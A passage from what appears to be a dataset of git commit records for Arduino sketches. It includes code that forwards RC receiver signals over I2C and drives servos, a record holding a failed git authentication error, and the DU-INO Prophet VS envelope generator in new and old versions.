= 0;\n \n interrupts(); \/\/ we have local copies of the inputs, so now we can turn interrupts back on\n \/\/ as soon as interrupts are back on, we can no longer use the shared copies, the interrupt\n \/\/ service routines own these and could update them at any time. During the update, the \n \/\/ shared copies may contain junk. Luckily we have our local copies to work with :-)\n }\n \n bUpdateFlags = 0;\n}\n\n\n\/\/ On request I2C data Sends shared values the Remote values\n\/\/ for Throttle, Yaw, Pitch and Roll\n\/\/ Note interrupts sotpped while sending values, should not \n\/\/ take much time\nvoid SendRemote()\n{\n\n union Sharedblock\n {\n byte b[4]; \/\/ utiliser char parts[4] pour port s\u00e9rie\n float d;\n } RCsignal[4];\n\n RCsignal[0].d=\n (float) (unThrottleInShared-THR_MIN)\/\n (THR_MAX-THR_MIN) * 100.0;\n RCsignal[1].d=\n ((float) unYawInShared-(RC_MAX+RC_MIN)\/2)\/\n (RC_MAX-RC_MIN) * K_YAW;\n RCsignal[2].d=\n ((float) unPitchInShared-(RC_MAX+RC_MIN)\/2)\/\n (RC_MAX-RC_MIN) * K_PITCH;\n RCsignal[3].d=\n ((float) unRollInShared-(RC_MAX+RC_MIN)\/2)\/\n (RC_MAX-RC_MIN) * K_ROLL;\n \n\n\n byte data[16];\n for (int i=0;i<4;i++)\n {\n for (int ii=0;ii<4;ii++)\n {\n\tdata[ii+4*i] = RCsignal[i].b[ii];\n }\n }\n \n Wire.write(data,16);\n\n}\n\n\/\/ simple interrupt service routine\nvoid calcThrottle()\n{\n \/\/ if the pin is high, its a rising edge of the signal pulse, so lets record its value\n if(digitalRead(THROTTLE_IN_PIN) == HIGH)\n { \n ulThrottleStart = micros();\n }\n else\n {\n \/\/ else it must be a falling edge, so lets get the time and subtract the time of the rising edge\n \/\/ this gives use the time between the rising and falling edges i.e. the pulse duration.\n unThrottleInShared = (uint16_t)(micros() - ulThrottleStart);\n \/\/ use set the throttle flag to indicate that a new throttle signal has been received\n bUpdateFlagsShared |= THROTTLE_FLAG;\n }\n}\n\nvoid calcYaw()\n{\n if(digitalRead(YAW_IN_PIN) == HIGH)\n { \n ulYawStart = micros();\n }\n else\n {\n unYawInShared = (uint16_t)(micros() - ulYawStart);\n bUpdateFlagsShared |= YAW_FLAG;\n }\n}\n\nvoid calcPitch()\n{\n if(digitalRead(PITCH_IN_PIN) == HIGH)\n { \n ulPitchStart = micros();\n }\n else\n {\n unPitchInShared = (uint16_t)(micros() - ulPitchStart);\n bUpdateFlagsShared |= PITCH_FLAG;\n }\n}\n\nvoid calcRoll()\n{\n if(digitalRead(ROLL_IN_PIN) == HIGH)\n { \n ulRollStart = micros();\n }\n else\n {\n unRollInShared = (uint16_t)(micros() - ulRollStart);\n bUpdateFlagsShared |= ROLL_FLAG;\n }\n}\n\n\nvoid SetServos(int byteCount)\n{\n\n\/\/ the RPI shoud send 4 x 1 uint16_t (2 bytes) values\n\/\/ one for each PID updated Motor speed\n\n union int_byt{\n uint8_t b[2]; \n uint16_t i;\n }; \n \n uint8_t trash;\n\n \/\/Expected bytes to be received\n union int_byt *rcv_data = new int_byt[SERVO_NUM];\n\n if (byteCount == 8)\n {\n while(Wire.available()) {\n\t\n\tfor (int i=0;i<SERVO_NUM;i++)\n\t {\n\t rcv_data[i].b[0] = Wire.read(); \/\/upper bits?\n\t rcv_data[i].b[1] = Wire.read(); \/\/upper bits?\n\t }\n }\n\t\n }\n else {\n \/\/short read from master\n \/\/Do nothing\n \/\/ Serial.println(\"Short read from master :\");\n \/\/ Serial.print(\"Expected 8 bytes,\");\n \/\/ Serial.print(\"Received \");\n \/\/ Serial.print(byteCount);\n \/\/ Serial.println(\" bytes\");\n\n return;\n }\n\n \/\/Update servo values\n for (int i=0;i<SERVO_NUM;i++)\n {\n \t \/\/ Serial.print(\"Received value \");\n\t \/\/ Serial.print(i);\n\t \/\/ Serial.print(\" = \");\n\t \/\/ Serial.println(rcv_data[i].i);\n\n MOTOR[i].writeMicroseconds(rcv_data[i].i);\n }\n\n return;\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ARDUINO\/i2c_rx_and_servo\/i2c_rx_and_servo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"31b459552327de24cb5ae32371c7a7bca2075284","subject":"version 29\/8","message":"version 29\/8\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"cde7225d116b8fccd919ccfedfd9f558e6326542","subject":"Remove FIXME (did this).","message":"Remove FIXME (did this).\n","repos":"logickworkshop\/du-ino,logickworkshop\/du-ino","old_file":"examples\/vseg\/vseg.ino","new_file":"examples\/vseg\/vseg.ino","new_contents":"\/*\n * #### ####\n * #### ####\n * #### #### ##\n * #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### #### ####\n * #### #### #### #### #### #### #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### ####\n * ################################ ####\n * __ __ __ __ __ ####\n * | | | | [__) |_\/ (__ |__| | | [__) ####\n * |\/\\| |__| | \\ | \\ .__) | | |__| | ##\n *\n *\n * DU-INO Prophet VS Envelope Generator\n * Aaron Mavrinac <aaron@logick.ca>\n *\n * JACK FUNCTION\n * ---- --------\n * GT1 O -\n * GT2 O -\n * GT3 I - gate in\n * GT4 I -\n * CI1 -\n * CI2 -\n * CI3 - VCA audio in\n * CI4 -\n * OFFST -\n * CO1 - 10V envelope out\n * CO2 -\n * CO3 - 5V envelope out\n * CO4 -\n * FNCTN - VCA audio out\n *\n * SWITCH CONFIGURATION\n * --------------------\n * SG2 [_][_] SG1\n * SG4 [^][^] SG3\n * SC2 [^][^] SC1\n * SC4 [^][_] SC3\n *\/\n\n#include <du-ino_function.h>\n#include <du-ino_dsp.h>\n#include <du-ino_widgets.h>\n#include <du-ino_save.h>\n#include <avr\/pgmspace.h>\n\n#define ENV_RELEASE_COEFF -2.0\n#define ENV_RELEASE_HOLD 3\n\nstatic const unsigned char icons[] PROGMEM =\n{\n 0x3e, 0x63, 0x5d, 0x5d, 0x63, 0x3e, 0x00, \/\/ 0\n 0x3e, 0x7f, 0x7b, 0x41, 0x7f, 0x3e, 0x00, \/\/ 1\n 0x3e, 0x5b, 0x4d, 0x55, 0x5b, 0x3e, 0x00, \/\/ 2\n 0x3e, 0x6b, 0x5d, 0x55, 0x6b, 0x3e, 0x00, \/\/ 3\n 0x3e, 0x73, 0x75, 0x77, 0x41, 0x3e, 0x00, \/\/ 4\n 0x1c, 0x22, 0x41, 0x41, 0x41, 0x22, 0x1c \/\/ jack \n};\n\nstatic const uint16_t rate_lut[] PROGMEM =\n{\n 11, 13, 15, 18, 21, 25, 28, 32, 36, 40, 45, 50, 55, 61, 68, 74, 82, 90, 98, 107, 117, 128, 140, 152, 165, 180, 195,\n 212, 230, 249, 270, 293, 317, 343, 371, 402, 434, 470, 508, 549, 593, 640, 691, 746, 806, 870, 939, 1013, 1093, 1180,\n 1273, 1373, 1481, 1597, 1722, 1857, 2003, 2160, 2328, 2510, 2707, 2918, 3145, 3391, 3655, 3940, 4246, 4577, 4933,\n 5317, 5730, 6176, 6656, 7173, 7731, 8331, 8978, 9675, 10426, 11236, 12108, 13047, 14060, 15150, 16326, 17592, 18956,\n 20427, 22011, 23717, 25556, 27538, 29673, 31973, 34452, 37122, 40000\n};\n\nvoid gate_isr();\n\nvoid loop_scroll_callback(int delta);\nvoid repeat_scroll_callback(int delta);\nvoid points_scroll_callback(uint8_t selected, int delta);\nvoid points_invert_callback(uint8_t p);\n\nclass DU_VSEG_PointWidget : public DUINO_Widget\n{\npublic:\n DU_VSEG_PointWidget(uint8_t p, uint8_t parameter)\n : p_(p)\n , x_(parameter ? 89 : 64)\n , w_(parameter ? 29 : 11)\n , inverted_(false) { }\n\n virtual void invert(bool update_display = true)\n {\n \/\/ invert underline\n Display.draw_hline(x_, 8, w_, DUINO_SH1106::Inverse);\n\n \/\/ blank area\n Display.fill_rect(45, 0, 73, 7, DUINO_SH1106::Black);\n\n if (!inverted_)\n {\n \/\/ display point number\n Display.draw_char(45, 0, '0' + p_, DUINO_SH1106::White);\n\n if(invert_callback_)\n {\n invert_callback_(p_);\n }\n }\n\n inverted_ = !inverted_;\n\n if (update_display)\n {\n Display.display(45, 117, 0, 1);\n }\n }\n\n virtual bool inverted() const { return inverted_; }\n\n void attach_invert_callback(void (*callback)())\n {\n invert_callback_ = callback;\n }\n\nprotected:\n void (*invert_callback_)(uint8_t);\n\n const uint8_t p_, x_, w_;\n bool inverted_;\n};\n\nclass DU_VSEG_Function : public DUINO_Function\n{\npublic:\n DU_VSEG_Function() : DUINO_Function(0b10111100) { }\n\n virtual void setup()\n {\n \/\/ initialize values\n gate_ = retrigger_ = false;\n gate_time_ = release_time_ = 0;\n cv_current_ = cv_released_ = 0.0;\n last_gate_ = update_cached_ = false;\n\n \/\/ build widget hierarchy\n widget_save_ = new DUINO_SaveWidget<ParameterValues>(121, 0);\n widget_loop_ = new DUINO_DisplayWidget(0, 12, 96, 7, DUINO_Widget::Corners);\n widget_loop_->attach_scroll_callback(loop_scroll_callback);\n widget_repeat_ = new DUINO_DisplayWidget(102, 11, 13, 9, DUINO_Widget::Full);\n widget_repeat_->attach_scroll_callback(repeat_scroll_callback);\n container_loop_repeat_ = new DUINO_WidgetContainer<2>(DUINO_Widget::Click);\n container_loop_repeat_->attach_child(widget_loop_, 0);\n container_loop_repeat_->attach_child(widget_repeat_, 1);\n container_points_ = new DUINO_WidgetContainer<8>(DUINO_Widget::Click);\n for(uint8_t i = 0; i < 8; ++i)\n {\n widgets_points_[i] = new DU_VSEG_PointWidget((i + 1) \/ 2, i & 1);\n widgets_points_[i]->attach_invert_callback(points_invert_callback);\n container_points_->attach_child(widgets_points_[i], i);\n container_points_->attach_scroll_callback_array(points_scroll_callback);\n }\n container_outer_ = new DUINO_WidgetContainer<3>(DUINO_Widget::DoubleClick, 1);\n container_outer_->attach_child(widget_save_, 0);\n container_outer_->attach_child(container_loop_repeat_, 1);\n container_outer_->attach_child(container_points_, 2);\n\n \/\/ load parameters\n widget_save_->load_params();\n sanitize_level();\n sanitize_rate();\n sanitize_loop();\n sanitize_repeat();\n cached_params_ = widget_save_->params.vals;\n\n \/\/ draw title\n Display.draw_du_logo_sm(0, 0, DUINO_SH1106::White);\n Display.draw_text(16, 0, \"VSEG\", DUINO_SH1106::White);\n\n \/\/ draw save box\n Display.fill_rect(widget_save_->x() + 1, widget_save_->y() + 1, 5, 5, DUINO_SH1106::White);\n\n \/\/ draw fixed elements\n Display.draw_char(widget_repeat_->x() + 1, widget_repeat_->y() + 1, 'x', DUINO_SH1106::White);\n Display.draw_bitmap_7(121, 12, icons, 5, DUINO_SH1106::White);\n\n \/\/ draw parameters\n display_loop(false);\n display_repeat(false);\n display_envelope(false);\n\n \/\/ initialize widgets\n widget_setup(container_outer_);\n\n \/\/ output full display\n Display.display();\n\n \/\/ initialize filter\n env_lpf_ = new DUINO_Filter(DUINO_Filter::LowPass, 100.0, 0.0);\n\n \/\/ attach gate interrupt\n gt_attach_interrupt(GT3, gate_isr, CHANGE);\n }\n\n virtual void loop()\n {\n if (retrigger_)\n {\n gate_time_ = 0;\n release_time_ = 0;\n retrigger_ = false;\n\n if (update_cached_)\n {\n cached_params_ = widget_save_->params.vals;\n update_cached_ = false;\n }\n }\n\n if (gate_time_)\n {\n if (gate_)\n {\n const unsigned long elapsed = millis() - gate_time_;\n\n bool loop = cached_params_.loop > -1;\n const int8_t loop_start = cached_params_.loop % 3;\n bool loop_reverse = cached_params_.loop > 2;\n unsigned long pointer = rate_to_ms(1, true);\n uint8_t p = 0;\n bool reverse = false;\n int8_t repeat_count = 0;\n\n while (pointer < elapsed)\n {\n if (reverse)\n {\n p--;\n }\n else\n {\n p++;\n }\n\n \/\/ handle point 3\n if (p == 3)\n {\n \/\/ if we've hit point 3 the repeat count times...\n if (cached_params_.repeat && ++repeat_count == cached_params_.repeat)\n {\n \/\/ stop looping\n loop_reverse = loop = false;\n }\n\n if (loop_reverse)\n {\n reverse = true;\n }\n else\n {\n if (loop)\n {\n p = loop_start;\n }\n else\n {\n break;\n }\n }\n }\n\n \/\/ clear reverse flag at start point\n if (p == loop_start && reverse)\n {\n reverse = false;\n }\n\n \/\/ move the pointer\n if (reverse)\n {\n \/\/ if we're pointed backward, add the current point's rate\n pointer += rate_to_ms(p, true);\n }\n else\n {\n \/\/ if we're pointed forward, add the next point's rate\n pointer += rate_to_ms(p + 1, true);\n }\n }\n\n if (pointer < elapsed)\n {\n \/\/ done looping, sustain at point 3\n cv_current_ = level_to_cv(3, true);\n }\n else\n {\n \/\/ linearly interpolate between current and next point\n const float cv_start = level_to_cv(p, true);\n const float cv_end = level_to_cv(reverse ? p - 1 : p + 1, true);\n const float remaining = (float)(pointer - elapsed) \/ (float)rate_to_ms(reverse ? p : p + 1, true);\n cv_current_ = cv_end + (cv_start - cv_end) * remaining;\n }\n }\n else\n {\n if (release_time_)\n {\n const uint16_t elapsed = millis() - release_time_;\n if(elapsed < rate_to_ms(4, true) * ENV_RELEASE_HOLD)\n {\n \/\/ release\n cv_current_ = exp(ENV_RELEASE_COEFF * ((float)elapsed \/ (float)rate_to_ms(4, true))) * cv_released_;\n }\n else\n {\n cv_current_ = 0.0;\n release_time_ = 0;\n gate_time_ = 0;\n }\n }\n else\n {\n release_time_ = millis();\n cv_released_ = cv_current_;\n }\n }\n\n const float filtered_cv = env_lpf_->filter(cv_current_);\n cv_out(CO1, filtered_cv);\n cv_out(CO3, filtered_cv \/ 2.0);\n }\n else if (gate_)\n {\n gate_time_ = millis();\n }\n\n widget_loop();\n\n \/\/ display gate\n if (gate_ != last_gate_)\n {\n last_gate_ = gate_;\n Display.fill_rect(123, 14, 3, 3, gate_ ? DUINO_SH1106::White : DUINO_SH1106::Black);\n Display.display(123, 125, 1, 2);\n }\n }\n\n void gate_callback()\n {\n gate_ = gt_read_debounce(GT3);\n if (gate_)\n {\n retrigger_ = true;\n }\n }\n\n void widget_loop_scroll_callback(int delta)\n {\n const int8_t loop_last = widget_save_->params.vals.loop;\n\n widget_save_->params.vals.loop += delta;\n sanitize_loop();\n if (widget_save_->params.vals.loop != loop_last)\n {\n widget_save_->mark_changed();\n update_cached_ = true;\n widget_save_->display();\n display_loop();\n }\n }\n\n void widget_repeat_scroll_callback(int delta)\n {\n const int8_t repeat_last = widget_save_->params.vals.repeat;\n\n widget_save_->params.vals.repeat += delta;\n sanitize_repeat();\n if (widget_save_->params.vals.repeat != repeat_last)\n {\n widget_save_->mark_changed();\n update_cached_ = true;\n widget_save_->display();\n display_repeat();\n }\n }\n\n void widgets_points_scroll_callback(uint8_t selected, int delta)\n {\n const uint8_t p = (selected + 1) \/ 2;\n const uint8_t parameter = selected & 1;\n\n if (parameter)\n {\n \/\/ adjust rate\n const int8_t rate_last = widget_save_->params.vals.rate[p];\n widget_save_->params.vals.rate[p - 1] += delta;\n sanitize_rate();\n if(widget_save_->params.vals.rate[p - 1] != rate_last)\n {\n widget_save_->mark_changed();\n update_cached_ = true;\n widget_save_->display();\n display_plr(p);\n display_loop();\n display_envelope();\n }\n }\n else\n {\n \/\/ adjust level\n const int8_t level_last = widget_save_->params.vals.level[p];\n widget_save_->params.vals.level[p] += delta;\n sanitize_level();\n if(widget_save_->params.vals.level[p] != level_last)\n {\n widget_save_->mark_changed();\n update_cached_ = true;\n widget_save_->display();\n display_plr(p);\n display_envelope();\n } \n }\n }\n\n void widgets_points_invert_callback(uint8_t p)\n {\n display_plr(p);\n }\n\nprivate:\n void sanitize_level()\n {\n for (uint8_t p = 0; p < 4; ++p)\n {\n if (widget_save_->params.vals.level[p] < 0)\n {\n widget_save_->params.vals.level[p] = 0;\n }\n else if (widget_save_->params.vals.level[p] > 99)\n {\n widget_save_->params.vals.level[p] = 99;\n }\n }\n }\n\n void sanitize_rate()\n {\n for (uint8_t p = 0; p < 4; ++p)\n {\n if (widget_save_->params.vals.rate[p] < 0)\n {\n widget_save_->params.vals.rate[p] = 0;\n }\n else if (widget_save_->params.vals.rate[p] > 96)\n {\n widget_save_->params.vals.rate[p] = 96;\n }\n }\n }\n\n void sanitize_loop()\n {\n if (widget_save_->params.vals.loop < -1)\n {\n widget_save_->params.vals.loop = -1;\n }\n else if (widget_save_->params.vals.loop > 5)\n {\n widget_save_->params.vals.loop = 5;\n }\n }\n\n void sanitize_repeat()\n {\n if (widget_save_->params.vals.repeat < 0)\n {\n widget_save_->params.vals.repeat = 0;\n }\n else if (widget_save_->params.vals.repeat > 7)\n {\n widget_save_->params.vals.repeat = 7;\n }\n }\n\n float level_to_cv(uint8_t p, bool use_cached = false)\n {\n if (p == 4)\n {\n return 0.0;\n }\n\n const int8_t level = (use_cached ? cached_params_ : widget_save_->params.vals).level[p];\n return (float)level \/ 9.9;\n }\n\n uint16_t rate_to_ms(uint8_t p, bool use_cached = false)\n {\n if (p == 0)\n {\n return 0;\n }\n\n const int8_t rate = (use_cached ? cached_params_ : widget_save_->params.vals).rate[p - 1];\n return (uint16_t)pgm_read_word(&rate_lut[rate]);\n }\n\n uint8_t level_to_y(uint8_t p)\n {\n if (p == 4)\n {\n return 57;\n }\n\n return 24 + (99 - widget_save_->params.vals.level[p]) \/ 3;\n }\n\n uint8_t rate_to_x(uint8_t p)\n {\n if (p == 0)\n {\n return 0;\n }\n\n return rate_to_x(p - 1) + 6 + (widget_save_->params.vals.rate[p - 1] \/ 4) + (p == 4 ? 2 : 0);\n }\n\n void display_plr(uint8_t p, bool update = true)\n {\n \/\/ blank area\n Display.fill_rect(64, 0, 54, 7, DUINO_SH1106::Black);\n\n \/\/ draw fixed elements\n Display.draw_char(54, 0, 'L', DUINO_SH1106::White);\n Display.draw_pixel(61, 1, DUINO_SH1106::White);\n Display.draw_pixel(61, 5, DUINO_SH1106::White);\n Display.draw_char(79, 0, 'R', DUINO_SH1106::White);\n Display.draw_pixel(86, 1, DUINO_SH1106::White);\n Display.draw_pixel(86, 5, DUINO_SH1106::White);\n\n uint8_t i;\n \n \/\/ display level\n int8_t level = widget_save_->params.vals.level[p];\n if (level)\n {\n i = 0;\n while (level)\n {\n Display.draw_char(70 - 6 * i, 0, '0' + level % 10, DUINO_SH1106::White);\n level \/= 10;\n i++;\n }\n }\n else\n {\n Display.draw_char(70, 0, '0', DUINO_SH1106::White);\n }\n\n \/\/ display rate\n uint16_t rate = rate_to_ms(p);\n if (rate)\n {\n i = 0;\n while (rate)\n {\n Display.draw_char(113 - 6 * i, 0, '0' + rate % 10, DUINO_SH1106::White);\n rate \/= 10;\n i++;\n }\n }\n else\n {\n Display.draw_char(113, 0, '0', DUINO_SH1106::White);\n }\n\n if (update)\n {\n Display.display(45, 117, 0, 0);\n }\n }\n\n void display_loop(bool update = true)\n {\n \/\/ blank area\n Display.fill_rect(widget_loop_->x() + 2, widget_loop_->y() + 1, widget_loop_->width() - 4,\n widget_loop_->height() - 2, DUINO_SH1106::Black);\n\n if (widget_save_->params.vals.loop > -1)\n {\n const uint8_t x1 = rate_to_x(widget_save_->params.vals.loop % 3) + 2;\n const uint8_t x2 = rate_to_x(3) + 3;\n const uint8_t w = x2 - x1 + 1;\n\n \/\/ draw shaft\n Display.draw_hline(x1, widget_loop_->y() + 3, w, DUINO_SH1106::White);\n\n \/\/ draw forward arrow head\n Display.draw_vline(x2 - 1, widget_loop_->y() + 2, 3, DUINO_SH1106::White);\n Display.draw_vline(x2 - 2, widget_loop_->y() + 1, 5, DUINO_SH1106::White);\n \n \/\/ draw reverse arrow head\n if (widget_save_->params.vals.loop > 2)\n {\n Display.draw_vline(x1 + 1, widget_loop_->y() + 2, 3, DUINO_SH1106::White);\n Display.draw_vline(x1 + 2, widget_loop_->y() + 1, 5, DUINO_SH1106::White);\n }\n }\n\n if (update)\n {\n widget_loop_->display();\n }\n }\n\n void display_repeat(bool update = true)\n {\n Display.fill_rect(widget_repeat_->x() + 7, widget_repeat_->y() + 1, 5, 7,\n widget_repeat_->inverted() ? DUINO_SH1106::White : DUINO_SH1106::Black);\n\n const unsigned char c = widget_save_->params.vals.repeat ? '0' + widget_save_->params.vals.repeat : 'C';\n Display.draw_char(widget_repeat_->x() + 7, widget_repeat_->y() + 1, c,\n widget_repeat_->inverted() ? DUINO_SH1106::Black : DUINO_SH1106::White);\n\n if (update)\n {\n widget_repeat_->display();\n }\n }\n\n void display_envelope(bool update = true)\n {\n Display.fill_rect(0, 24, 128, 40, DUINO_SH1106::Black);\n\n for (uint8_t p = 0; p < 5; ++p)\n {\n const uint8_t x = rate_to_x(p);\n const uint8_t y = level_to_y(p);\n\n Display.draw_bitmap_7(x, y, icons, p, DUINO_SH1106::White);\n\n if (p < 3)\n {\n Display.draw_line(x + 5, y + 3, rate_to_x(p + 1), level_to_y(p + 1) + 3, DUINO_SH1106::White);\n }\n else if (p == 3)\n {\n Display.draw_hline(x + 6, y + 3, 2, DUINO_SH1106::White);\n\n \/\/ draw exponential decay\n uint8_t xs = x + 8;\n uint8_t ys = y + 3;\n const uint8_t x4 = rate_to_x(4);\n const uint8_t yh = 57 - y;\n const uint8_t xw = x4 - xs;\n if (xs == x4)\n {\n Display.draw_vline(xs, ys, yh + 1, DUINO_SH1106::White);\n }\n else\n {\n while (xs < x4)\n {\n uint8_t ye = 60 - (uint8_t)((float)yh * exp(-(float)((10 + (128 \/ xw)) * (xs - x - 7)) \/ (float)(x4)));\n Display.draw_line(xs, ys, xs + 1, ye, DUINO_SH1106::White);\n xs++;\n ys = ye;\n }\n }\n }\n }\n\n if (update)\n {\n Display.display(0, 127, 3, 7);\n }\n }\n\n struct ParameterValues\n {\n int8_t level[4]; \/\/ levels of points 0 - 3 (0 - 99)\n int8_t rate[4]; \/\/ rates of points 1 - 4 (0 - 96)\n int8_t loop; \/\/ -1 = off, loop % 3 = loop start, loop > 2 = loop back and forth\n int8_t repeat; \/\/ 0 = continuous, 1 - 7 = finite repeats\n };\n\n ParameterValues cached_params_;\n\n DUINO_WidgetContainer<3> * container_outer_;\n DUINO_WidgetContainer<2> * container_loop_repeat_;\n DUINO_WidgetContainer<8> * container_points_;\n DUINO_SaveWidget<ParameterValues> * widget_save_;\n DUINO_DisplayWidget * widget_loop_;\n DUINO_DisplayWidget * widget_repeat_;\n DU_VSEG_PointWidget * widgets_points_[8];\n\n DUINO_Filter * env_lpf_;\n\n volatile bool gate_, retrigger_;\n unsigned long gate_time_, release_time_;\n float cv_current_, cv_released_;\n bool last_gate_, update_cached_;\n};\n\nDU_VSEG_Function * function;\n\nvoid gate_isr() { function->gate_callback(); }\n\nvoid loop_scroll_callback(int delta) { function->widget_loop_scroll_callback(delta); }\nvoid repeat_scroll_callback(int delta) { function->widget_repeat_scroll_callback(delta); }\nvoid points_scroll_callback(uint8_t selected, int delta) { function->widgets_points_scroll_callback(selected, delta); }\nvoid points_invert_callback(uint8_t p) { function->widgets_points_invert_callback(p); }\n\nvoid setup()\n{\n function = new DU_VSEG_Function();\n\n function->begin();\n}\n\nvoid loop()\n{\n function->loop();\n}\n","old_contents":"\/*\n * #### ####\n * #### ####\n * #### #### ##\n * #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### #### ####\n * #### #### #### #### #### #### #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### ####\n * ################################ ####\n * __ __ __ __ __ ####\n * | | | | [__) |_\/ (__ |__| | | [__) ####\n * |\/\\| |__| | \\ | \\ .__) | | |__| | ##\n *\n *\n * DU-INO Prophet VS Envelope Generator\n * Aaron Mavrinac <aaron@logick.ca>\n *\n * JACK FUNCTION\n * ---- --------\n * GT1 O -\n * GT2 O -\n * GT3 I - gate in\n * GT4 I -\n * CI1 -\n * CI2 -\n * CI3 - VCA audio in\n * CI4 -\n * OFFST -\n * CO1 - 10V envelope out\n * CO2 -\n * CO3 - 5V envelope out\n * CO4 -\n * FNCTN - VCA audio out\n *\n * SWITCH CONFIGURATION\n * --------------------\n * SG2 [_][_] SG1\n * SG4 [^][^] SG3\n * SC2 [^][^] SC1\n * SC4 [^][_] SC3\n *\/\n\n#include <du-ino_function.h>\n#include <du-ino_dsp.h>\n#include <du-ino_widgets.h>\n#include <du-ino_save.h>\n#include <avr\/pgmspace.h>\n\n#define ENV_RELEASE_COEFF -2.0\n#define ENV_RELEASE_HOLD 3\n\nstatic const unsigned char icons[] PROGMEM =\n{\n 0x3e, 0x63, 0x5d, 0x5d, 0x63, 0x3e, 0x00, \/\/ 0\n 0x3e, 0x7f, 0x7b, 0x41, 0x7f, 0x3e, 0x00, \/\/ 1\n 0x3e, 0x5b, 0x4d, 0x55, 0x5b, 0x3e, 0x00, \/\/ 2\n 0x3e, 0x6b, 0x5d, 0x55, 0x6b, 0x3e, 0x00, \/\/ 3\n 0x3e, 0x73, 0x75, 0x77, 0x41, 0x3e, 0x00, \/\/ 4\n 0x1c, 0x22, 0x41, 0x41, 0x41, 0x22, 0x1c \/\/ jack \n};\n\nstatic const uint16_t rate_lut[] PROGMEM =\n{\n 11, 13, 15, 18, 21, 25, 28, 32, 36, 40, 45, 50, 55, 61, 68, 74, 82, 90, 98, 107, 117, 128, 140, 152, 165, 180, 195,\n 212, 230, 249, 270, 293, 317, 343, 371, 402, 434, 470, 508, 549, 593, 640, 691, 746, 806, 870, 939, 1013, 1093, 1180,\n 1273, 1373, 1481, 1597, 1722, 1857, 2003, 2160, 2328, 2510, 2707, 2918, 3145, 3391, 3655, 3940, 4246, 4577, 4933,\n 5317, 5730, 6176, 6656, 7173, 7731, 8331, 8978, 9675, 10426, 11236, 12108, 13047, 14060, 15150, 16326, 17592, 18956,\n 20427, 22011, 23717, 25556, 27538, 29673, 31973, 34452, 37122, 40000\n};\n\nvoid gate_isr();\n\nvoid loop_scroll_callback(int delta);\nvoid repeat_scroll_callback(int delta);\nvoid points_scroll_callback(uint8_t selected, int delta);\nvoid points_invert_callback(uint8_t p);\n\nclass DU_VSEG_PointWidget : public DUINO_Widget\n{\npublic:\n DU_VSEG_PointWidget(uint8_t p, uint8_t parameter)\n : p_(p)\n , x_(parameter ? 89 : 64)\n , w_(parameter ? 29 : 11)\n , inverted_(false) { }\n\n virtual void invert(bool update_display = true)\n {\n \/\/ invert underline\n Display.draw_hline(x_, 8, w_, DUINO_SH1106::Inverse);\n\n \/\/ blank area\n Display.fill_rect(45, 0, 73, 7, DUINO_SH1106::Black);\n\n if (!inverted_)\n {\n \/\/ display point number\n Display.draw_char(45, 0, '0' + p_, DUINO_SH1106::White);\n\n if(invert_callback_)\n {\n invert_callback_(p_);\n }\n }\n\n inverted_ = !inverted_;\n\n if (update_display)\n {\n Display.display(45, 117, 0, 1);\n }\n }\n\n virtual bool inverted() const { return inverted_; }\n\n void attach_invert_callback(void (*callback)())\n {\n invert_callback_ = callback;\n }\n\nprotected:\n void (*invert_callback_)(uint8_t);\n\n const uint8_t p_, x_, w_;\n bool inverted_;\n};\n\nclass DU_VSEG_Function : public DUINO_Function\n{\npublic:\n DU_VSEG_Function() : DUINO_Function(0b10111100) { }\n\n virtual void setup()\n {\n \/\/ initialize values\n gate_ = retrigger_ = false;\n gate_time_ = release_time_ = 0;\n cv_current_ = cv_released_ = 0.0;\n last_gate_ = update_cached_ = false;\n\n \/\/ build widget hierarchy\n widget_save_ = new DUINO_SaveWidget<ParameterValues>(121, 0);\n widget_loop_ = new DUINO_DisplayWidget(0, 12, 96, 7, DUINO_Widget::Corners);\n widget_loop_->attach_scroll_callback(loop_scroll_callback);\n widget_repeat_ = new DUINO_DisplayWidget(102, 11, 13, 9, DUINO_Widget::Full);\n widget_repeat_->attach_scroll_callback(repeat_scroll_callback);\n container_loop_repeat_ = new DUINO_WidgetContainer<2>(DUINO_Widget::Click);\n container_loop_repeat_->attach_child(widget_loop_, 0);\n container_loop_repeat_->attach_child(widget_repeat_, 1);\n container_points_ = new DUINO_WidgetContainer<8>(DUINO_Widget::Click);\n for(uint8_t i = 0; i < 8; ++i)\n {\n widgets_points_[i] = new DU_VSEG_PointWidget((i + 1) \/ 2, i & 1);\n widgets_points_[i]->attach_invert_callback(points_invert_callback);\n container_points_->attach_child(widgets_points_[i], i);\n container_points_->attach_scroll_callback_array(points_scroll_callback);\n }\n container_outer_ = new DUINO_WidgetContainer<3>(DUINO_Widget::DoubleClick, 1);\n container_outer_->attach_child(widget_save_, 0);\n container_outer_->attach_child(container_loop_repeat_, 1);\n container_outer_->attach_child(container_points_, 2);\n\n \/\/ load parameters\n widget_save_->load_params();\n sanitize_level();\n sanitize_rate();\n sanitize_loop();\n sanitize_repeat();\n cached_params_ = widget_save_->params.vals;\n\n \/\/ draw title\n Display.draw_du_logo_sm(0, 0, DUINO_SH1106::White);\n Display.draw_text(16, 0, \"VSEG\", DUINO_SH1106::White);\n\n \/\/ draw save box\n Display.fill_rect(widget_save_->x() + 1, widget_save_->y() + 1, 5, 5, DUINO_SH1106::White);\n\n \/\/ draw fixed elements\n Display.draw_char(widget_repeat_->x() + 1, widget_repeat_->y() + 1, 'x', DUINO_SH1106::White);\n Display.draw_bitmap_7(121, 12, icons, 5, DUINO_SH1106::White);\n\n \/\/ draw parameters\n display_loop(false);\n display_repeat(false);\n display_envelope(false);\n\n \/\/ initialize widgets\n 